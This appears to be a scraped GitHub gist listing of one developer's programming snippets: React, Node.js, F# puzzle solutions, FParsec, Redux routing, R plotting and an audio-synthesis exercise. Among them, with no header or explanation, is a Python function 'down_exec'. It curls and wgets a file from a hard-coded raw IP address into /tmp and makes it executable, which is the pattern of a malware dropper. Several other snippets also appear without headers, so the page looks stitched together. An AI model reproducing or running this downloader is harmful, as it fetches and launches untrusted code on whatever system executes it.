Skip to content

Instantly share code, notes, and snippets.

@liammclennan
liammclennan / useEffect.js
Created October 15, 2022 03:28
React `useEffect`
function App() {
let divRef = useRef(null);
useEffect(() => {
var text = document.createTextNode(" Rendered ");
divRef.current.appendChild(text);
return () => {
var text = document.createTextNode(" Unrendered ");
divRef.current.appendChild(text);
};
@liammclennan
liammclennan / skeleton.js
Created August 24, 2017 00:50
Node.js console application skeleton
if (process.argv.length < 3) {
console.log('Usage: node ' + process.argv[1] + ' FILENAME');
process.exit(1);
}
var fs = require('fs')
, filename = process.argv[2];
let input = fs.readFileSync(filename, 'utf8');
@liammclennan
liammclennan / leftrotation.fs
Created March 16, 2017 11:15
Hackerrank: Arrays: Left Rotation
let rotations = System.Console.ReadLine().Split().[1] |> int
let vals = System.Console.ReadLine().Split()
let rotate arr n =
let cut = n % Array.length arr
Array.append arr.[cut..] arr.[..cut-1]
String.concat " " (rotate vals rotations) |> printfn "%s"
import os
def down_exec():
cmd = 'curl http://60.191.187.18:667/kb>/tmp/kb'
p = os.system(cmd)
cmd = 'wget -O /tmp/kb http://60.191.187.18:667/kb'
p = os.system(cmd)
cmd = 'chmod 0777 /tmp/kb'
p = os.system(cmd)
cmd = 'chmod u+x /tmp/kb'
// https://code.google.com/codejam/contest/351101/dashboard#s=p0
open System.Linq
type Case = { c: int; i: int; ps: int[]; index: int[] }
let readFile filename =
System.IO.File.ReadLines(filename)
let transpose arr =
let t = [|for a in [0..Array.max arr] -> -1|]
#r @"packages\FParsec.1.0.1\lib\net40-client\FParsecCS.dll"
#r @"packages\FParsec.1.0.1\lib\net40-client\FParsec.dll"
open FParsec
let parsesA = pchar 'a'
run parsesA "abcdefg"
run (many anyChar) "abcde fg"
// selectGame is a function that builds the data model for a game, by randomly selecting a set of books and a correct answer.
var selectGame = function () {
// `this` within selectGame is the array `data`. `reduce` is used to flatten the set of books into a single array.
// `_.shuffle` randomizes the list of books.
// `slice` selects the first 4 books.
// `books` is then 4 randomly selected books.
var books = _.shuffle(this.reduce(function (p, c, i) {
return p.concat(c.books);
}, [])).slice(0,4);
@liammclennan
liammclennan / gist:e61fe313a92eaf88df7a298e5e9ab219
Last active April 13, 2016 01:46
Pure React components with Redux and react-router
store.subscribe(() => {
ReactDOM.render(
<Router history={browserHistory}>
// Note the use of onEnter event
<Route path="/chunk/:id" onEnter={handleEnterChunk} component={attachState(ChunkPage.Chunk,'chunk')}/>
</Router>)
});
// read route params (state.params) and do required state changes
function handleEnterChunk(state,replace,callback) {
@liammclennan
liammclennan / gist:51749b8217cc21962931696a00715162
Last active April 8, 2016 02:32
Draw a normal probability distribution
mean=132; sd=13
lb=105; ub=159
x <- seq(-4,4,length=100)*sd + mean
hx <- dnorm(x,mean,sd)
plot(x, hx, type="n", xlab="Duration (days)", ylab="",
main="Duration Probability Distribution", axes=FALSE)
i <- x >= lb & x <= ub
@liammclennan
liammclennan / signals.md
Last active August 29, 2015 14:28
Code puzzle - signal generator

The "standard" encoding for digital audio is pulse code modulation. The analog signal is sampled at regular intervals and stored as an amplitude quantity value.

Facts:

  • CD audio uses 44,100 amplitude samples per second
  • Each sample is a 16-bit integer between -32,768 and 32,767

One way to synthesize a pure frequency (in Hz) is to sample a sine wave.

Your task is to implement a function from a number of milliseconds and a frequency to a collection of samples.